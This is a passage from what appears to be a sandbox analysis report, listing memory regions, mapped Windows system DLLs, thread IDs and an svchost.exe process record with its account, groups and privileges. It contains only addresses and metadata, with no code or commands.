end_va = 0x7fefd7f3fff entry_point = 0x7fefd7e0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1869 start_va = 0x7fefdb60000 end_va = 0x7fefdbcafff entry_point = 0x7fefdb60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1870 start_va = 0x7fefdbd0000 end_va = 0x7fefdc1cfff entry_point = 0x7fefdbd0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1871 start_va = 0x7fefdc20000 end_va = 0x7fefdcb8fff entry_point = 0x7fefdc20000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1872 start_va = 0x7fefdda0000 end_va = 0x7fefdfa2fff entry_point = 0x7fefdda0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1873 start_va = 0x7fefdfb0000 end_va = 0x7fefe086fff entry_point = 0x7fefdfb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1874 start_va = 0x7fefe090000 end_va = 0x7fefe097fff entry_point = 0x7fefe090000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1875 start_va = 0x7fefe0a0000 end_va = 0x7fefe0cdfff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1876 start_va = 0x7fefe0d0000 end_va = 0x7fefe1aafff entry_point = 0x7fefe0d0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1877 start_va = 0x7fefe1b0000 end_va = 0x7fefe2dcfff entry_point = 0x7fefe1b0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1878 start_va = 0x7fefe460000 end_va = 0x7fefe46dfff entry_point = 0x7fefe460000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1879 start_va = 0x7fefe470000 end_va = 0x7fefe50efff entry_point = 0x7fefe470000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1880 start_va = 0x7fefe640000 end_va = 0x7fefe65efff entry_point = 0x7fefe640000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1881 start_va = 0x7fefe660000 end_va = 0x7fefe728fff entry_point = 0x7fefe660000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1882 start_va = 0x7fefe730000 end_va = 0x7fefe838fff entry_point = 0x7fefe730000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1883 start_va = 0x7feff7d0000 end_va = 0x7feff840fff entry_point = 0x7feff7d0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1884 start_va = 0x7feff850000 end_va = 0x7feff8b6fff entry_point = 0x7feff850000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1885 start_va = 0x7feffbd0000 end_va = 0x7feffbd0fff entry_point = 0x7feffbd0000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1886 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1887 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1888 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1889 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1890 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1891 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1892 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1893 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1894 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1895 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1896 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1897 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1898 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1899 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1900 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1901 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1902 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 2056 start_va = 0x7fef91e0000 end_va = 0x7fef91f0fff entry_point = 0x7fef91e0000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2057 start_va = 0x7fef91c0000 end_va = 0x7fef91d7fff entry_point = 0x7fef91c0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 3284 start_va = 0x7fef8760000 end_va = 0x7fef8773fff entry_point = 0x7fef8760000 region_type = mapped_file name = "fthsvc.dll" filename = "\\Windows\\System32\\fthsvc.dll" (normalized: "c:\\windows\\system32\\fthsvc.dll") Region: id = 3285 start_va = 0x7fefae90000 end_va = 0x7fefaee6fff entry_point = 0x7fefae90000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 3286 start_va = 0x7fefd320000 end_va = 0x7fefd38cfff entry_point = 0x7fefd320000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Thread: id = 96 os_tid = 0x4c8 Thread: id = 97 os_tid = 0x3d8 Thread: id = 98 os_tid = 0x424 Thread: id = 99 os_tid = 0x40c Thread: id = 100 os_tid = 0x7dc Thread: id = 101 os_tid = 0x7d4 Thread: id = 102 os_tid = 0x7a8 Thread: id = 103 os_tid = 0x79c Thread: id = 104 os_tid = 0x5e8 Thread: id = 105 os_tid = 0x15c Thread: id = 106 os_tid = 0x158 Thread: id = 107 os_tid = 0x130 Thread: id = 108 os_tid = 0x128 Thread: id = 109 os_tid = 0x12c Thread: id = 110 os_tid = 0xc8 Thread: id = 146 os_tid = 0x798 Thread: id = 147 os_tid = 0x7b0 Thread: id = 206 os_tid = 0x6fc Thread: id = 209 os_tid = 0x4b0 Process: id = "17" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x84d3000" os_pid = "0x54c" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "16" os_parent_pid = "0x3fc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00016458" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Region: id = 1912 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1913 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1914 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1915 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1916 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1917 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1918 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1919 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1920 start_va = 0xf0000 end_va = 0x10bfff entry_point = 0xf0000 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 1921 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1922 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 1923 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 1924 start_va = 0x140000 end_va = 0x147fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 1925 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 1926 start_va = 0x170000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1927 start_va = 0x1f0000 end_va = 0x2affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1928 start_va = 0x2d0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1929 start_va = 0x340000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 1930 start_va = 0x3c0000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 1931 start_va = 0x4c0000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1932 start_va = 0x5c0000 end_va = 0x747fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 1933 start_va = 0x750000 end_va = 0x8d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 1934 start_va = 0x8e0000 end_va = 0xcd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 1935 start_va = 0xcf0000 end_va = 0xcf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cf0000" filename = "" Region: id = 1936 start_va = 0xd40000 end_va = 0xdbffff entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 1937 start_va = 0xdc0000 end_va = 0xe3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 1938 start_va = 0xeb0000 end_va = 0xf2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 1939 start_va = 0xf80000 end_va = 0xffffff entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 1940 start_va = 0x1000000 end_va = 0x12cefff entry_point = 0x1000000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1941 start_va = 0x1360000 end_va = 0x13dffff entry_point = 0x0 region_type = private name = "private_0x0000000001360000" filename = "" Region: id = 1942 start_va = 0x1400000 end_va = 0x147ffff entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 1943 start_va = 0x14a0000 end_va = 0x151ffff entry_point = 0x0 region_type = private name = "private_0x00000000014a0000" filename = "" Region: id = 1944 start_va = 0x1550000 end_va = 0x15cffff entry_point = 0x0 region_type = private name = "private_0x0000000001550000" filename = "" Region: id = 1945 start_va = 0x1600000 end_va = 0x167ffff entry_point = 0x0 region_type = private name = "private_0x0000000001600000" filename = "" Region: id = 1946 start_va = 0x16a0000 end_va = 0x171ffff entry_point = 0x0 region_type = private name = "private_0x00000000016a0000" filename = "" Region: id = 1947 start_va = 0x1760000 end_va = 0x17dffff entry_point = 0x0 region_type = private name = "private_0x0000000001760000" filename = "" Region: id = 1948 start_va = 0x1810000 end_va = 0x188ffff entry_point = 0x0 region_type = private name = "private_0x0000000001810000" filename = "" Region: id = 1949 start_va = 0x1890000 end_va = 0x190ffff entry_point = 0x0 region_type = private name = "private_0x0000000001890000" filename = "" Region: id = 1950 start_va = 0x1930000 end_va = 0x19affff entry_point = 0x0 region_type = private name = "private_0x0000000001930000" filename = "" Region: id = 1951 start_va = 0x19f0000 end_va = 0x1a6ffff entry_point = 0x0 region_type = private name = "private_0x00000000019f0000" filename = "" Region: id = 1952 start_va = 0x1a70000 end_va = 0x1aeffff entry_point = 0x0 region_type = private name = "private_0x0000000001a70000" filename = "" Region: id = 1953 start_va = 0x1af0000 end_va = 0x1b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001af0000" filename = "" Region: id = 1954 start_va = 0x1b70000 end_va = 0x1beffff entry_point = 0x0 region_type = private name = "private_0x0000000001b70000" filename = "" Region: id = 1955 start_va = 0x1bf0000 end_va = 0x1ceffff entry_point = 0x0 region_type = private name = "private_0x0000000001bf0000" filename = "" Region: id = 1956 start_va = 0x1cf0000 end_va = 0x1deffff entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 1957 start_va = 0x1eb0000 end_va = 0x1f2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001eb0000" filename = "" Region: id = 1958 start_va = 0x1f30000 end_va = 0x212ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 1959 start_va = 0x2130000 end_va = 0x21affff entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 1960 start_va = 0x21b0000 end_va = 0x22cffff entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 1961 start_va = 0x22d0000 end_va = 0x24d0fff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 1962 start_va = 0x24f0000 end_va = 0x256ffff entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 1963 start_va = 0x2620000 end_va = 0x269ffff entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 1964 start_va = 0x2840000 end_va = 0x284ffff entry_point = 0x0 region_type = private name = "private_0x0000000002840000" filename = "" Region: id = 1965 start_va = 0x2850000 end_va = 0x28cffff entry_point = 0x0 region_type = private name = "private_0x0000000002850000" filename = "" Region: id = 1966 start_va = 0x77690000 end_va = 0x777aefff entry_point = 0x77690000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1967 start_va = 0x777b0000 end_va = 0x778a9fff entry_point = 0x777b0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1968 start_va = 0x778b0000 end_va = 0x77a58fff entry_point = 0x778b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1969 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1970 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1971 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1972 start_va = 0xff480000 end_va = 0xff48afff entry_point = 0xff480000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1973 start_va = 0x7fef5b00000 end_va = 0x7fef5b0bfff entry_point = 0x7fef5b00000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1974 start_va = 0x7fef5b10000 end_va = 0x7fef5b1cfff entry_point = 0x7fef5b10000 region_type = mapped_file name = "wdiasqmmodule.dll" filename = "\\Windows\\System32\\wdiasqmmodule.dll" (normalized: "c:\\windows\\system32\\wdiasqmmodule.dll") Region: id = 1975 start_va = 0x7fef5c90000 end_va = 0x7fef5cacfff entry_point = 0x7fef5c90000 region_type = mapped_file name = "radardt.dll" filename = "\\Windows\\System32\\radardt.dll" (normalized: "c:\\windows\\system32\\radardt.dll") Region: id = 1976 start_va = 0x7fef5cb0000 end_va = 0x7fef5cb7fff entry_point = 0x7fef5cb0000 region_type = mapped_file name = "pnpts.dll" filename = "\\Windows\\System32\\pnpts.dll" (normalized: "c:\\windows\\system32\\pnpts.dll") Region: id = 1977 start_va = 0x7fef5cc0000 end_va = 0x7fef5e09fff entry_point = 0x7fef5cc0000 region_type = mapped_file name = "diagperf.dll" filename = "\\Windows\\System32\\diagperf.dll" (normalized: "c:\\windows\\system32\\diagperf.dll") Region: id = 1978 start_va = 0x7fef6130000 end_va = 0x7fef61a3fff entry_point = 0x7fef6130000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1979 start_va = 0x7fef6930000 end_va = 0x7fef6948fff entry_point = 0x7fef6930000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 1980 start_va = 0x7fef6bd0000 end_va = 0x7fef6bfbfff entry_point = 0x7fef6bd0000 region_type = mapped_file name = "dps.dll" filename = "\\Windows\\System32\\dps.dll" (normalized: "c:\\windows\\system32\\dps.dll") Region: id = 1981 start_va = 0x7fef6ff0000 end_va = 0x7fef70bdfff entry_point = 0x7fef6ff0000 region_type = mapped_file name = "mpssvc.dll" filename = "\\Windows\\System32\\MPSSVC.dll" (normalized: "c:\\windows\\system32\\mpssvc.dll") Region: id = 1982 start_va = 0x7fef91c0000 end_va = 0x7fef91d7fff entry_point = 0x7fef91c0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1983 start_va = 0x7fef91e0000 end_va = 0x7fef91f0fff entry_point = 0x7fef91e0000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1984 start_va = 0x7fef9210000 end_va = 0x7fef9262fff entry_point = 0x7fef9210000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1985 start_va = 0x7fefb0e0000 end_va = 0x7fefb0e9fff entry_point = 0x7fefb0e0000 region_type = mapped_file name = "wfapigp.dll" filename = "\\Windows\\System32\\wfapigp.dll" (normalized: "c:\\windows\\system32\\wfapigp.dll") Region: id = 1986 start_va = 0x7fefb0f0000 end_va = 0x7fefb19ffff entry_point = 0x7fefb0f0000 region_type = mapped_file name = "bfe.dll" filename = "\\Windows\\System32\\BFE.DLL" (normalized: "c:\\windows\\system32\\bfe.dll") Region: id = 1987 start_va = 0x7fefb1a0000 end_va = 0x7fefb1aafff entry_point = 0x7fefb1a0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1988 start_va = 0x7fefb1b0000 end_va = 0x7fefb1d6fff entry_point = 0x7fefb1b0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1989 start_va = 0x7fefb280000 end_va = 0x7fefb28afff entry_point = 0x7fefb280000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1990 start_va = 0x7fefb310000 end_va = 0x7fefb324fff entry_point = 0x7fefb310000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1991 start_va = 0x7fefb440000 end_va = 0x7fefb566fff entry_point = 0x7fefb440000 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1992 start_va = 0x7fefb760000 end_va = 0x7fefb78cfff entry_point = 0x7fefb760000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1993 start_va = 0x7fefbb80000 end_va = 0x7fefbb90fff entry_point = 0x7fefbb80000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1994 start_va = 0x7fefc9c0000 end_va = 0x7fefc9cbfff entry_point = 0x7fefc9c0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1995 start_va = 0x7fefc9d0000 end_va = 0x7fefca8afff entry_point = 0x7fefc9d0000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1996 start_va = 0x7fefca90000 end_va = 0x7fefca96fff entry_point = 0x7fefca90000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1997 start_va = 0x7fefcb80000 end_va = 0x7fefcb9afff entry_point = 0x7fefcb80000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1998 start_va = 0x7fefcba0000 end_va = 0x7fefcbbdfff entry_point = 0x7fefcba0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1999 start_va = 0x7fefccf0000 end_va = 0x7fefccf9fff entry_point = 0x7fefccf0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2000 start_va = 0x7fefcd00000 end_va = 0x7fefcd0cfff entry_point = 0x7fefcd00000 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 2001 start_va = 0x7fefcdf0000 end_va = 0x7fefce36fff entry_point = 0x7fefcdf0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2002 start_va = 0x7fefd080000 end_va = 0x7fefd086fff entry_point = 0x7fefd080000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2003 start_va = 0x7fefd090000 end_va = 0x7fefd0e4fff entry_point = 0x7fefd090000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2004 start_va = 0x7fefd0f0000 end_va = 0x7fefd106fff entry_point = 0x7fefd0f0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2005 start_va = 0x7fefd260000 end_va = 0x7fefd281fff entry_point = 0x7fefd260000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2006 start_va = 0x7fefd2e0000 end_va = 0x7fefd30efff entry_point = 0x7fefd2e0000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 2007 start_va = 0x7fefd690000 end_va = 0x7fefd69afff entry_point = 0x7fefd690000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2008 start_va = 0x7fefd6c0000 end_va = 0x7fefd6e4fff entry_point = 0x7fefd6c0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2009 start_va = 0x7fefd730000 end_va = 0x7fefd73efff entry_point = 0x7fefd730000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2010 start_va = 0x7fefd7e0000 end_va = 0x7fefd7f3fff entry_point = 0x7fefd7e0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2011 start_va = 0x7fefd800000 end_va = 0x7fefd80efff entry_point = 0x7fefd800000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2012 start_va = 0x7fefd8f0000 end_va = 0x7fefd925fff entry_point = 0x7fefd8f0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2013 start_va = 0x7fefdb60000 end_va = 0x7fefdbcafff entry_point = 0x7fefdb60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2014 start_va = 0x7fefdbd0000 end_va = 0x7fefdc1cfff entry_point = 0x7fefdbd0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2015 start_va = 0x7fefdc20000 end_va = 0x7fefdcb8fff entry_point = 0x7fefdc20000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2016 start_va = 0x7fefdcc0000 end_va = 